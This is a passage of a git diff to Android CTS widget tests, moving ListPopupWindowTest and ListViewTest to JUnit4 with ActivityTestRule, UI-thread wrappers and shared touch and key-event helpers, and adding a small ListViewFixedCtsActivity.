         assertEquals(PopupWindow.INPUT_METHOD_NEEDED, mPopupWindow.getInputMethodMode());
         assertFalse(mPopupWindow.isInputMethodNotNeeded());
@@ -349,9 +413,11 @@
         assertFalse(mPopupWindow.isInputMethodNotNeeded());
     }
 
-    public void testAccessSoftInputMethodMode() {
+    @Test
+    public void testAccessSoftInputMethodMode() throws Throwable {
         mPopupWindowBuilder = new Builder().withDismissListener();
-        mPopupWindowBuilder.show();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::show);
+        mInstrumentation.waitForIdleSync();
 
         mPopupWindow = new ListPopupWindow(mActivity);
         assertEquals(WindowManager.LayoutParams.SOFT_INPUT_STATE_UNCHANGED,
@@ -369,60 +435,33 @@
     private void verifyDismissalViaTouch(boolean setupAsModal) throws Throwable {
         // Register a click listener on the top-level container
         final View mainContainer = mActivity.findViewById(R.id.main_container);
-        View.OnClickListener mockContainerClickListener = mock(View.OnClickListener.class);
-        mainContainer.setOnClickListener(mockContainerClickListener);
+        final View.OnClickListener mockContainerClickListener = mock(View.OnClickListener.class);
+        mActivityRule.runOnUiThread(() ->
+                mainContainer.setOnClickListener(mockContainerClickListener));
 
         // Configure a list popup window with requested modality
         mPopupWindowBuilder = new Builder().setModal(setupAsModal).withDismissListener();
-        mPopupWindowBuilder.show();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::show);
+        mInstrumentation.waitForIdleSync();
 
         assertTrue("Popup window showing", mPopupWindow.isShowing());
         // Make sure that the modality of the popup window is set up correctly
         assertEquals("Popup window modality", setupAsModal, mPopupWindow.isModal());
 
-        // Determine the location of the popup on the screen so that we can emulate
-        // a tap outside of its bounds to dismiss it
-        final int[] popupOnScreenXY = new int[2];
-        final Rect rect = new Rect();
-        mPopupWindow.getListView().getLocationOnScreen(popupOnScreenXY);
-        mPopupWindow.getBackground().getPadding(rect);
-
-        int emulatedTapX = popupOnScreenXY[0] - rect.left - 20;
-        int emulatedTapY = popupOnScreenXY[1] + mPopupWindow.getListView().getHeight() +
-                rect.top + rect.bottom + 20;
-
         // The logic below uses Instrumentation to emulate a tap outside the bounds of the
         // displayed list popup window. This tap is then treated by the framework to be "split" as
         // the ACTION_OUTSIDE for the popup itself, as well as DOWN / MOVE / UP for the underlying
         // view root if the popup is not modal.
         // It is not correct to emulate these two sequences separately in the test, as it
-        // wouldn't emulate the user-facing interaction for this test. Note that usage
-        // of Instrumentation is necessary here since Espresso's actions operate at the level
-        // of view or data. Also, we don't want to use View.dispatchTouchEvent directly as
-        // that would require emulation of two separate sequences as well.
-
-        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
-
-        // Inject DOWN event
-        long downTime = SystemClock.uptimeMillis();
-        MotionEvent eventDown = MotionEvent.obtain(
-                downTime, downTime, MotionEvent.ACTION_DOWN, emulatedTapX, emulatedTapY, 1);
-        instrumentation.sendPointerSync(eventDown);
-
-        // Inject MOVE event
-        long moveTime = SystemClock.uptimeMillis();
-        MotionEvent eventMove = MotionEvent.obtain(
-                moveTime, moveTime, MotionEvent.ACTION_MOVE, emulatedTapX, emulatedTapY, 1);
-        instrumentation.sendPointerSync(eventMove);
-
-        // Inject UP event
-        long upTime = SystemClock.uptimeMillis();
-        MotionEvent eventUp = MotionEvent.obtain(
-                upTime, upTime, MotionEvent.ACTION_UP, emulatedTapX, emulatedTapY, 1);
-        instrumentation.sendPointerSync(eventUp);
-
-        // Wait for the system to process all events in the queue
-        instrumentation.waitForIdleSync();
+        // wouldn't emulate the user-facing interaction for this test. Also, we don't want to use
+        // View.dispatchTouchEvent directly as that would require emulation of two separate
+        // sequences as well.
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        final ListView popupListView = mPopupWindow.getListView();
+        final Rect rect = new Rect();
+        mPopupWindow.getBackground().getPadding(rect);
+        CtsTouchUtils.emulateTapOnView(instrumentation, popupListView,
+                -rect.left - 20, popupListView.getHeight() + rect.top + rect.bottom + 20);
 
         // At this point our popup should not be showing and should have notified its
         // dismiss listener
@@ -434,19 +473,22 @@
         verify(mockContainerClickListener, times(setupAsModal ? 0 : 1)).onClick(mainContainer);
     }
 
+    @Test
     public void testDismissalOutsideNonModal() throws Throwable {
         verifyDismissalViaTouch(false);
     }
 
+    @Test
     public void testDismissalOutsideModal() throws Throwable {
         verifyDismissalViaTouch(true);
     }
 
+    @Test
     public void testItemClicks() throws Throwable {
         mPopupWindowBuilder = new Builder().withItemClickListener().withDismissListener();
-        mPopupWindowBuilder.show();
-
-        runTestOnUiThread(() -> mPopupWindow.performItemClick(2));
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::show);
+        mInstrumentation.waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> mPopupWindow.performItemClick(2));
         mInstrumentation.waitForIdleSync();
 
         verify(mPopupWindowBuilder.mOnItemClickListener, times(1)).onItemClick(
@@ -455,12 +497,14 @@
         assertFalse(mPopupWindow.isShowing());
         verify(mPopupWindowBuilder.mOnDismissListener, times(1)).onDismiss();
 
-        mPopupWindowBuilder.showAgain();
-        runTestOnUiThread(() -> mPopupWindow.getListView().performItemClick(null, 1, 1));
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::showAgain);
+        mInstrumentation.waitForIdleSync();
+        mActivityRule.runOnUiThread(
+                () -> mPopupWindow.getListView().performItemClick(null, 1, 1));
         mInstrumentation.waitForIdleSync();
 
         verify(mPopupWindowBuilder.mOnItemClickListener, times(1)).onItemClick(
-                any(AdapterView.class), any(View.class), eq(1), eq(1L));
+                any(AdapterView.class), any(), eq(1), eq(1L));
         // Also verify that the popup window has been dismissed
         assertFalse(mPopupWindow.isShowing());
         verify(mPopupWindowBuilder.mOnDismissListener, times(2)).onDismiss();
@@ -469,12 +513,15 @@
         verifyNoMoreInteractions(mPopupWindowBuilder.mOnItemClickListener);
     }
 
+    @Test
     public void testPromptViewAbove() throws Throwable {
-        final View promptView = LayoutInflater.from(mActivity).inflate(
-                R.layout.popupwindow_prompt, null);
-        mPopupWindowBuilder = new Builder().withPrompt(
-                promptView, ListPopupWindow.POSITION_PROMPT_ABOVE);
-        mPopupWindowBuilder.show();
+        mActivityRule.runOnUiThread(() -> {
+            promptView = LayoutInflater.from(mActivity).inflate(R.layout.popupwindow_prompt, null);
+            mPopupWindowBuilder = new Builder().withPrompt(
+                    promptView, ListPopupWindow.POSITION_PROMPT_ABOVE);
+            mPopupWindowBuilder.show();
+        });
+        mInstrumentation.waitForIdleSync();
 
         // Verify that our prompt is displayed on the screen and is above the first list item
         assertTrue(promptView.isAttachedToWindow());
@@ -485,7 +532,7 @@
         promptView.getLocationOnScreen(promptViewOnScreenXY);
 
         final ListView listView = mPopupWindow.getListView();
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, listView, null);
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, listView, null);
 
         final View firstListChild = listView.getChildAt(0);
         final int[] firstChildOnScreenXY = new int[2];
@@ -494,12 +541,15 @@
         assertTrue(promptViewOnScreenXY[1] + promptView.getHeight() <= firstChildOnScreenXY[1]);
     }
 
+    @Test
     public void testPromptViewBelow() throws Throwable {
-        final View promptView = LayoutInflater.from(mActivity).inflate(
-                R.layout.popupwindow_prompt, null);
-        mPopupWindowBuilder = new Builder().withPrompt(
-                promptView, ListPopupWindow.POSITION_PROMPT_BELOW);
-        mPopupWindowBuilder.show();
+        mActivityRule.runOnUiThread(() -> {
+            promptView = LayoutInflater.from(mActivity).inflate(R.layout.popupwindow_prompt, null);
+            mPopupWindowBuilder = new Builder().withPrompt(
+                    promptView, ListPopupWindow.POSITION_PROMPT_BELOW);
+            mPopupWindowBuilder.show();
+        });
+        mInstrumentation.waitForIdleSync();
 
         // Verify that our prompt is displayed on the screen and is below the last list item
         assertTrue(promptView.isAttachedToWindow());
@@ -507,7 +557,7 @@
         assertEquals(ListPopupWindow.POSITION_PROMPT_BELOW, mPopupWindow.getPromptPosition());
 
         final ListView listView = mPopupWindow.getListView();
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, listView, null);
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, listView, null);
 
         final int[] promptViewOnScreenXY = new int[2];
         promptView.getLocationOnScreen(promptViewOnScreenXY);
@@ -523,14 +573,16 @@
     }
 
     @Presubmit
+    @Test
     public void testAccessSelection() throws Throwable {
         mPopupWindowBuilder = new Builder().withItemSelectedListener();
-        mPopupWindowBuilder.show();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::show);
+        mInstrumentation.waitForIdleSync();
 
         final ListView listView = mPopupWindow.getListView();
 
         // Select an item
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, listView,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, listView,
                 () -> mPopupWindow.setSelection(1));
 
         // And verify the current selection state + selection listener invocation
@@ -545,7 +597,7 @@
                 ((TextView) selectedView.findViewById(android.R.id.text1)).getText());
 
         // Select another item
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, listView,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, listView,
                 () -> mPopupWindow.setSelection(3));
 
         // And verify the new selection state + selection listener invocation
@@ -560,8 +612,8 @@
                 ((TextView) selectedView.findViewById(android.R.id.text1)).getText());
 
         // Clear selection
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, listView,
-                () -> mPopupWindow.clearListSelection());
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, listView,
+                mPopupWindow::clearListSelection);
 
         // And verify empty selection state + no more selection listener invocation
         verify(mPopupWindowBuilder.mOnItemSelectedListener, times(1)).onNothingSelected(
@@ -573,9 +625,11 @@
         verifyNoMoreInteractions(mPopupWindowBuilder.mOnItemSelectedListener);
     }
 
+    @Test
     public void testNoDefaultDismissalWithBackButton() throws Throwable {
         mPopupWindowBuilder = new Builder().withDismissListener();
-        mPopupWindowBuilder.show();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::show);
+        mInstrumentation.waitForIdleSync();
 
         // Send BACK key event. As we don't have any custom code that dismisses ListPopupWindow,
         // and ListPopupWindow doesn't track that system-level key event on its own, ListPopupWindow
@@ -585,17 +639,21 @@
         assertTrue(mPopupWindow.isShowing());
     }
 
+    @Test
     public void testCustomDismissalWithBackButton() throws Throwable {
-        mPopupWindowBuilder = new Builder().withAnchor(R.id.anchor_upper_left)
-                .withDismissListener();
-        mPopupWindowBuilder.show();
+        mActivityRule.runOnUiThread(() -> {
+            mPopupWindowBuilder = new Builder().withAnchor(R.id.anchor_upper_left)
+                    .withDismissListener();
+            mPopupWindowBuilder.show();
+        });
+        mInstrumentation.waitForIdleSync();
 
         // "Point" our custom extension of EditText to our ListPopupWindow
         final MockViewForListPopupWindow anchor =
                 (MockViewForListPopupWindow) mPopupWindow.getAnchorView();
         anchor.wireTo(mPopupWindow);
         // Request focus on our EditText
-        runTestOnUiThread(() -> anchor.requestFocus());
+        mActivityRule.runOnUiThread(anchor::requestFocus);
         mInstrumentation.waitForIdleSync();
         assertTrue(anchor.isFocused());
 
@@ -607,10 +665,12 @@
         assertFalse(mPopupWindow.isShowing());
     }
 
+    @Test
     public void testListSelectionWithDPad() throws Throwable {
         mPopupWindowBuilder = new Builder().withAnchor(R.id.anchor_upper_left)
                 .withDismissListener().withItemSelectedListener();
-        mPopupWindowBuilder.show();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::show);
+        mInstrumentation.waitForIdleSync();
 
         final View root = mPopupWindow.getListView().getRootView();
 
@@ -619,13 +679,13 @@
                 (MockViewForListPopupWindow) mPopupWindow.getAnchorView();
         anchor.wireTo(mPopupWindow);
         // Request focus on our EditText
-        runTestOnUiThread(() -> anchor.requestFocus());
+        mActivityRule.runOnUiThread(anchor::requestFocus);
         mInstrumentation.waitForIdleSync();
         assertTrue(anchor.isFocused());
 
         // Select entry #1 in the popup list
         final ListView listView = mPopupWindow.getListView();
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, listView,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, listView,
                 () -> mPopupWindow.setSelection(1));
         verify(mPopupWindowBuilder.mOnItemSelectedListener, times(1)).onItemSelected(
                 any(AdapterView.class), any(View.class), eq(1), eq(1L));
@@ -633,10 +693,10 @@
         // Send DPAD_DOWN key event. As our custom extension of EditText calls
         // ListPopupWindow.onKeyDown and onKeyUp, the end result should be transfer of selection
         // down one row
-        mKeyEventUtil.sendKeyDownUp(listView, KeyEvent.KEYCODE_DPAD_DOWN);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, listView, KeyEvent.KEYCODE_DPAD_DOWN);
         mInstrumentation.waitForIdleSync();
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, root, null);
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, root, null);
 
         // At this point we expect that item #2 was selected
         verify(mPopupWindowBuilder.mOnItemSelectedListener, times(1)).onItemSelected(
@@ -645,10 +705,10 @@
         // Send a DPAD_UP key event. As our custom extension of EditText calls
         // ListPopupWindow.onKeyDown and onKeyUp, the end result should be transfer of selection
         // up one row
-        mKeyEventUtil.sendKeyDownUp(listView, KeyEvent.KEYCODE_DPAD_UP);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, listView, KeyEvent.KEYCODE_DPAD_UP);
         mInstrumentation.waitForIdleSync();
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, root, null);
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, root, null);
 
         // At this point we expect that item #1 was selected
         verify(mPopupWindowBuilder.mOnItemSelectedListener, times(2)).onItemSelected(
@@ -657,10 +717,10 @@
         // Send one more DPAD_UP key event. As our custom extension of EditText calls
         // ListPopupWindow.onKeyDown and onKeyUp, the end result should be transfer of selection
         // up one more row
-        mKeyEventUtil.sendKeyDownUp(listView, KeyEvent.KEYCODE_DPAD_UP);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, listView, KeyEvent.KEYCODE_DPAD_UP);
         mInstrumentation.waitForIdleSync();
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, root, null);
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, root, null);
 
         // At this point we expect that item #0 was selected
         verify(mPopupWindowBuilder.mOnItemSelectedListener, times(1)).onItemSelected(
@@ -669,7 +729,7 @@
         // Send ENTER key event. As our custom extension of EditText calls
         // ListPopupWindow.onKeyDown and onKeyUp, the end result should be dismissal of
         // the popup window
-        mKeyEventUtil.sendKeyDownUp(listView, KeyEvent.KEYCODE_ENTER);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation,listView, KeyEvent.KEYCODE_ENTER);
         mInstrumentation.waitForIdleSync();
 
         verify(mPopupWindowBuilder.mOnDismissListener, times(1)).onDismiss();
@@ -679,40 +739,7 @@
         verifyNoMoreInteractions(mPopupWindowBuilder.mOnDismissListener);
     }
 
-    /**
-     * Emulates a drag-down gestures by injecting ACTION events with {@link Instrumentation}.
-     */
-    private void emulateDragDownGesture(int emulatedX, int emulatedStartY, int swipeAmount) {
-        // The logic below uses Instrumentation to emulate a swipe / drag gesture to bring up
-        // the popup content.
-
-        // Inject DOWN event
-        long downTime = SystemClock.uptimeMillis();
-        MotionEvent eventDown = MotionEvent.obtain(
-                downTime, downTime, MotionEvent.ACTION_DOWN, emulatedX, emulatedStartY, 1);
-        mInstrumentation.sendPointerSync(eventDown);
-
-        // Inject a sequence of MOVE events that emulate a "swipe down" gesture
-        for (int i = 0; i < 10; i++) {
-            long moveTime = SystemClock.uptimeMillis();
-            final int moveY = emulatedStartY + swipeAmount * i / 10;
-            MotionEvent eventMove = MotionEvent.obtain(
-                    moveTime, moveTime, MotionEvent.ACTION_MOVE, emulatedX, moveY, 1);
-            mInstrumentation.sendPointerSync(eventMove);
-            // sleep for a bit to emulate a 200ms swipe
-            SystemClock.sleep(20);
-        }
-
-        // Inject UP event
-        long upTime = SystemClock.uptimeMillis();
-        MotionEvent eventUp = MotionEvent.obtain(
-                upTime, upTime, MotionEvent.ACTION_UP, emulatedX, emulatedStartY + swipeAmount, 1);
-        mInstrumentation.sendPointerSync(eventUp);
-
-        // Wait for the system to process all events in the queue
-        mInstrumentation.waitForIdleSync();
-    }
-
+    @Test
     public void testCreateOnDragListener() throws Throwable {
         // In this test we want precise control over the height of the popup content since
         // we need to know by how much to swipe down to end the emulated gesture over the
@@ -725,14 +752,18 @@
                 .withItemClickListener().withDismissListener();
 
         // Configure ListPopupWindow without showing it
-        mPopupWindowBuilder.configure();
+        mActivityRule.runOnUiThread(mPopupWindowBuilder::configure);
+        mInstrumentation.waitForIdleSync();
 
         // Get the anchor view and configure it with ListPopupWindow's drag-to-open listener
         final View anchor = mActivity.findViewById(mPopupWindowBuilder.mAnchorId);
-        View.OnTouchListener dragListener = mPopupWindow.createDragToOpenListener(anchor);
-        anchor.setOnTouchListener(dragListener);
-        // And also configure it to show the popup window on click
-        anchor.setOnClickListener((View view) -> mPopupWindow.show());
+        final View.OnTouchListener dragListener = mPopupWindow.createDragToOpenListener(anchor);
+        mActivityRule.runOnUiThread(() -> {
+            anchor.setOnTouchListener(dragListener);
+            // And also configure it to show the popup window on click
+            anchor.setOnClickListener((View view) -> mPopupWindow.show());
+        });
+        mInstrumentation.waitForIdleSync();
 
         // Get the height of a row item in our popup window
         final int popupRowHeight = mActivity.getResources().getDimensionPixelSize(
@@ -749,7 +780,8 @@
         int swipeAmount = 2 * popupRowHeight;
 
         // Emulate drag-down gesture with a sequence of motion events
-        emulateDragDownGesture(emulatedX, emulatedStartY, swipeAmount);
+        CtsTouchUtils.emulateDragGesture(mInstrumentation, emulatedX, emulatedStartY,
+                0, swipeAmount);
 
         // We expect the swipe / drag gesture to result in clicking the second item in our list.
         verify(mPopupWindowBuilder.mOnItemClickListener, times(1)).onItemClick(
@@ -963,7 +995,8 @@
             if (mHasItemSelectedListener) {
                 mOnItemSelectedListener = mock(AdapterView.OnItemSelectedListener.class);
                 mPopupWindow.setOnItemSelectedListener(mOnItemSelectedListener);
-                mPopupWindow.setListSelector(mActivity.getDrawable(R.drawable.red_fill));
+                mPopupWindow.setListSelector(
+                        mActivity.getDrawable(R.drawable.red_translucent_fill));
             }
 
             if (mHasDismissListener) {
@@ -1001,35 +1034,22 @@
 
         private void show() {
             configure();
-
-            mInstrumentation.runOnMainSync(
-                    () -> {
-                        mPopupWindow.show();
-                        assertTrue(mPopupWindow.isShowing());
-                    });
-            mInstrumentation.waitForIdleSync();
+            mPopupWindow.show();
+            assertTrue(mPopupWindow.isShowing());
         }
 
         private void showAgain() {
-            mInstrumentation.runOnMainSync(
-                    () -> {
-                        if (mPopupWindow == null || mPopupWindow.isShowing()) {
-                            return;
-                        }
-                        mPopupWindow.show();
-                        assertTrue(mPopupWindow.isShowing());
-                    });
-            mInstrumentation.waitForIdleSync();
+            if (mPopupWindow == null || mPopupWindow.isShowing()) {
+                return;
+            }
+            mPopupWindow.show();
+            assertTrue(mPopupWindow.isShowing());
         }
 
         private void dismiss() {
-            mInstrumentation.runOnMainSync(
-                    () -> {
-                        if (mPopupWindow == null || !mPopupWindow.isShowing())
-                            return;
-                        mPopupWindow.dismiss();
-                    });
-            mInstrumentation.waitForIdleSync();
+            if (mPopupWindow == null || !mPopupWindow.isShowing())
+                return;
+            mPopupWindow.dismiss();
         }
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/ListViewCtsActivity.java b/tests/tests/widget/src/android/widget/cts/ListViewCtsActivity.java
index ce198b3..1d1b42f 100644
--- a/tests/tests/widget/src/android/widget/cts/ListViewCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/ListViewCtsActivity.java
@@ -16,10 +16,9 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
+import android.widget.cts.R;
 
 public class ListViewCtsActivity extends Activity {
     @Override
diff --git a/tests/tests/widget/src/android/widget/cts/ListViewFixedCtsActivity.java b/tests/tests/widget/src/android/widget/cts/ListViewFixedCtsActivity.java
new file mode 100644
index 0000000..f34a452
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/ListViewFixedCtsActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class ListViewFixedCtsActivity extends Activity {
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.listviewfixed_layout);
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/ListViewTest.java b/tests/tests/widget/src/android/widget/cts/ListViewTest.java
index 800073d..8cd85b1 100644
--- a/tests/tests/widget/src/android/widget/cts/ListViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ListViewTest.java
@@ -16,51 +16,17 @@
 
 package android.widget.cts;
 
-import junit.framework.Assert;
-
-import org.xmlpull.v1.XmlPullParser;
-
-import android.app.ActionBar.LayoutParams;
-import android.app.Activity;
-import android.app.Instrumentation;
-import android.content.Context;
-import android.cts.util.PollingCheck;
-import android.graphics.Canvas;
-import android.graphics.Color;
-import android.graphics.Rect;
-import android.graphics.drawable.ColorDrawable;
-import android.graphics.drawable.Drawable;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
-import android.test.suitebuilder.annotation.MediumTest;
-import android.util.AttributeSet;
-import android.util.Pair;
-import android.util.SparseArray;
-import android.util.SparseBooleanArray;
-import android.util.Xml;
-import android.view.KeyEvent;
-import android.view.View;
-import android.view.View.MeasureSpec;
-import android.view.ViewGroup;
-import android.view.animation.LayoutAnimationController;
-import android.widget.AdapterView;
-import android.widget.AdapterView.OnItemClickListener;
-import android.widget.ArrayAdapter;
-import android.widget.FrameLayout;
-import android.widget.LinearLayout;
-import android.widget.ListView;
-import android.widget.TextView;
-import android.widget.cts.R;
-import android.widget.cts.util.ViewTestUtils;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 import static org.mockito.Mockito.any;
 import static org.mockito.Mockito.anyInt;
 import static org.mockito.Mockito.anyLong;
 import static org.mockito.Mockito.atLeast;
+import static org.mockito.Mockito.atLeastOnce;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.never;
 import static org.mockito.Mockito.reset;
@@ -69,113 +35,176 @@
 import static org.mockito.Mockito.verify;
 import static org.mockito.Mockito.verifyNoMoreInteractions;
 
-public class ListViewTest extends ActivityInstrumentationTestCase2<ListViewCtsActivity> {
+import android.app.ActionBar.LayoutParams;
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Rect;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
+import android.os.Parcelable;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.AttributeSet;
+import android.util.Pair;
+import android.util.SparseArray;
+import android.util.SparseBooleanArray;
+import android.util.Xml;
+import android.view.KeyEvent;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.animation.LayoutAnimationController;
+import android.widget.AbsListView;
+import android.widget.AdapterView;
+import android.widget.AdapterView.OnItemClickListener;
+import android.widget.ArrayAdapter;
+import android.widget.FrameLayout;
+import android.widget.ListView;
+import android.widget.TextView;
+import android.widget.cts.util.TestUtils;
+
+import com.android.compatibility.common.util.CtsKeyEventUtil;
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import junit.framework.Assert;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ListViewTest {
     private final String[] mCountryList = new String[] {
         "Argentina", "Australia", "China", "France", "Germany", "Italy", "Japan", "United States"
     };
+    private final String[] mLongCountryList = new String[] {
+        "Argentina", "Australia", "Belize", "Botswana", "Brazil", "Cameroon", "China", "Cyprus",
+        "Denmark", "Djibouti", "Ethiopia", "Fiji", "Finland", "France", "Gabon", "Germany",
+        "Ghana", "Haiti", "Honduras", "Iceland", "India", "Indonesia", "Ireland", "Italy",
+        "Japan", "Kiribati", "Laos", "Lesotho", "Liberia", "Malaysia", "Mongolia", "Myanmar",
+        "Nauru", "Norway", "Oman", "Pakistan", "Philippines", "Portugal", "Romania", "Russia",
+        "Rwanda", "Singapore", "Slovakia", "Slovenia", "Somalia", "Swaziland", "Togo", "Tuvalu",
+        "Uganda", "Ukraine", "United States", "Vanuatu", "Venezuela", "Zimbabwe"
+    };
     private final String[] mNameList = new String[] {
         "Jacky", "David", "Kevin", "Michael", "Andy"
     };
-    private final String[] mEmptyList = new String[0];
 
-    private ListView mListView;
-    private Activity mActivity;
     private Instrumentation mInstrumentation;
+    private Activity mActivity;
+    private ListView mListView;
+    private TextView mTextView;
+    private TextView mSecondTextView;
+
     private AttributeSet mAttributeSet;
     private ArrayAdapter<String> mAdapter_countries;
+    private ArrayAdapter<String> mAdapter_longCountries;
     private ArrayAdapter<String> mAdapter_names;
-    private ArrayAdapter<String> mAdapter_empty;
 
-    public ListViewTest() {
-        super("android.widget.cts", ListViewCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<ListViewCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ListViewCtsActivity.class);
 
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mActivity = getActivity();
-        mInstrumentation = getInstrumentation();
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
         XmlPullParser parser = mActivity.getResources().getXml(R.layout.listview_layout);
         mAttributeSet = Xml.asAttributeSet(parser);
 
-        mAdapter_countries = new ArrayAdapter<String>(mActivity,
+        mAdapter_countries = new ArrayAdapter<>(mActivity,
                 android.R.layout.simple_list_item_1, mCountryList);
-        mAdapter_names = new ArrayAdapter<String>(mActivity, android.R.layout.simple_list_item_1,
+        mAdapter_longCountries = new ArrayAdapter<>(mActivity,
+                android.R.layout.simple_list_item_1, mLongCountryList);
+        mAdapter_names = new ArrayAdapter<>(mActivity, android.R.layout.simple_list_item_1,
                 mNameList);
-        mAdapter_empty = new ArrayAdapter<String>(mActivity, android.R.layout.simple_list_item_1,
-                mEmptyList);
 
         mListView = (ListView) mActivity.findViewById(R.id.listview_default);
     }
 
+    @Test
     public void testConstructor() {
         new ListView(mActivity);
         new ListView(mActivity, mAttributeSet);
         new ListView(mActivity, mAttributeSet, 0);
-
-        try {
-            new ListView(null);
-            fail("There should be a NullPointerException thrown out. ");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
-
-        try {
-            new ListView(null, null);
-            fail("There should be a NullPointerException thrown out. ");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
-
-        try {
-            new ListView(null, null, -1);
-            fail("There should be a NullPointerException thrown out. ");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
     }
 
-    public void testGetMaxScrollAmount() {
-        setAdapter(mAdapter_empty);
-        int scrollAmount = mListView.getMaxScrollAmount();
-        assertEquals(0, scrollAmount);
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext1() {
+        new ListView(null);
+    }
 
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext2() {
+        new ListView(null, null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext3() {
+        new ListView(null, null, -1);
+    }
+
+    @Test
+    public void testGetMaxScrollAmount() throws Throwable {
         setAdapter(mAdapter_names);
-        scrollAmount = mListView.getMaxScrollAmount();
+        int scrollAmount = mListView.getMaxScrollAmount();
         assertTrue(scrollAmount > 0);
+
+        mActivityRule.runOnUiThread(() -> {
+            mListView.getLayoutParams().height = 0;
+            mListView.requestLayout();
+        });
+        PollingCheck.waitFor(() -> mListView.getHeight() == 0);
+
+        scrollAmount = mListView.getMaxScrollAmount();
+        assertEquals(0, scrollAmount);
     }
 
-    private void setAdapter(final ArrayAdapter<String> adapter) {
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
+    private void setAdapter(final ArrayAdapter<String> adapter) throws Throwable {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
                 () -> mListView.setAdapter(adapter));
     }
 
-    public void testAccessDividerHeight() {
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
+    @Test
+    public void testAccessDividerHeight() throws Throwable {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
                 () -> mListView.setAdapter(mAdapter_countries));
 
         Drawable d = mListView.getDivider();
         final Rect r = d.getBounds();
